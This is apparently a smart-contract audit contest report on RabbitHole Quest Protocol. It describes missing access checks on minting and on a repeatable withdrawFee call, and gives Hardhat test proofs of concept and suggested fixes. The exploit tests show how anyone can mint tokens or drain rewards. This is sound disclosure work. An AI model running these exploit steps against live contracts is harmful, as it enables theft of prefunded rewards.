RabbitHole Quest Protocol contest - codeislight's results

Lines of code

https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/RabbitHoleReceipt.sol#L59 https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/RabbitHoleTickets.sol#L48

Vulnerability details

Impact

onlyMinter role check is not properly setup, where it bypass the check, instead of including a require statement for the boolean stated, the code only has an explicit boolean value which would not check for onlyMinter role, that's also could have been found if there were more thorough unit testing coverage. minting new tickets and receipts would lead for the users to be able to claim the rewards until the contract is drained of all the prefunded rewards.

Proof of Concept

the following is a POC of RabbitHoleReceipt.mint() being callable by any caller

  describe('vulnerable mint receipt by any caller', () => {
    it('mints a token with correct questId unexpectdly by anyone', async () => {
      let expectedMinter = await RHReceipt.minterAddress()
      // ensure that the caller is not the minter
      expect(expectedMinter).to.not.eq(firstAddress.address)
      await RHReceipt.connect(firstAddress).mint(firstAddress.address, 'def456')

      expect(await RHReceipt.balanceOf(firstAddress.address)).to.eq(1)
      expect(await RHReceipt.questIdForTokenId(1)).to.eq('def456')
    })
  })

the following is a POC of RabbitHoleTickets.mint() and RabbitHoleTickets.batchMint() being callable by any caller

describe('vulnerable mint ticket by any caller', () => {
    it('mints 5 tokens unexpectdly by any caller', async () => {
      let expectedMinter = await RHTickets.minterAddress()
      // ensure that the caller is not the minter
      expect(expectedMinter).to.not.eq(firstAddress.address)
      await RHTickets.connect(firstAddress).mint(firstAddress.address, 1, 5, '0x')

      expect(await RHTickets.balanceOf(firstAddress.address, 1)).to.eq(5)
    })
  })

  describe('vulnerable mintBatch ticket by any caller', () => {
    it('mints 5 tokens with correct questId unexpectdly by any caller', async () => {
      let expectedMinter = await RHTickets.minterAddress()
      // ensure that the caller is not the minter
      expect(expectedMinter).to.not.eq(firstAddress.address)
      await RHTickets.connect(firstAddress).mintBatch(firstAddress.address, [1, 2, 3], [6, 7, 8], '0x')

      expect(await RHTickets.balanceOf(firstAddress.address, 1)).to.eq(6)
      expect(await RHTickets.balanceOf(firstAddress.address, 2)).to.eq(7)
      expect(await RHTickets.balanceOf(firstAddress.address, 3)).to.eq(8)
    })
  })

Recommended Mitigation Steps

    error NotMinter();
    modifier onlyMinter() {
        if(msg.sender != minterAddress) revert NotMinter();
        _;
    }

Lines of code

https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/Erc20Quest.sol#L102 https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/Quest.sol#L76

Vulnerability details

Impact

• ERC20Quest.withdrawFee() has onlyAdminWithdrawAfterEnd modifier that doesn't check for access control, which can be called by anyone unlike how the modifier title suggest.
• Moreover, withdrawFee() function doesn't have any mechanism for a one time call, which leads for it to being called multiple times that would only cause the draining of remaining tokens from the quest contract to protocolFeeRecipient address.

Proof of Concept

the following is an illustration of the vulnerability which can be pasted in Erc20Quest.spec.ts test cases:

describe('withdrawFee() VULNERABLE', async () => {
    it('should transfer protocol fees back to owner', async () => {
      const beginningContractBalance = await deployedSampleErc20Contract.balanceOf(deployedQuestContract.address)

      await deployedFactoryContract.connect(firstAddress).mintReceipt(questId, messageHash, signature)
      await deployedQuestContract.start()
      await ethers.provider.send('evm_increaseTime', [86400])
      expect(await deployedSampleErc20Contract.balanceOf(protocolFeeAddress)).to.equal(0)

      await deployedQuestContract.connect(firstAddress).claim()
      expect(await deployedSampleErc20Contract.balanceOf(firstAddress.address)).to.equal(1 * 1000)
      expect(beginningContractBalance).to.equal(totalRewardsPlusFee * 100)

      await ethers.provider.send('evm_increaseTime', [100001])

      let expectedFees = await deployedQuestContract.protocolFee()
      let protocolFeeRecipient = await deployedQuestContract.protocolFeeRecipient()
      let preRecipientBalance = await deployedSampleErc20Contract.balanceOf(protocolFeeRecipient)
      // being called by other than the admin, in this case `firstAddress`
      await deployedQuestContract.connect(firstAddress).withdrawFee()
      // calling multiple times withdrawFee which would withdraw from remaining tokens until fully drained
      await deployedQuestContract.connect(firstAddress).withdrawFee()
      let postRecipientBalance = await deployedSampleErc20Contract.balanceOf(protocolFeeRecipient)
      // check that `protocolFeeRecipient` has received more than `expectedFees`
      expect(postRecipientBalance.sub(preRecipientBalance)).to.gt(expectedFees)

      await ethers.provider.send('evm_increaseTime', [-100001])
      await ethers.provider.send('evm_increaseTime', [-86400])
    })
  })

Recommended Mitigation Steps

add an admin check to be only callable by the admin or/and add a one time calling mechanism for the function to avoid the function to be called multiple times. for Quest contract:

    /// @notice Prevents reward withdrawal until the Quest has ended
    modifier onlyWithdrawAfterEnd() {
        if (block.timestamp < endTime) revert NoWithdrawDuringClaim();
        _;
    }

for Erc20Quest contract:

    error AlreadyProtocolFeeClaimed();
    bool public isProtocolFeeClaimed;

    /// @notice Sends the protocol fee to the protocolFeeRecipient
    /// @dev Only callable when the quest is ended
    function withdrawFee() public onlyOwner onlyWithdrawAfterEnd {
        if(isProtocolFeeClaimed) revert AlreadyProtocolFeeClaimed(); // only called once
        isProtocolFeeClaimed = true;
        IERC20(rewardToken).safeTransfer(protocolFeeRecipient, protocolFee());
    }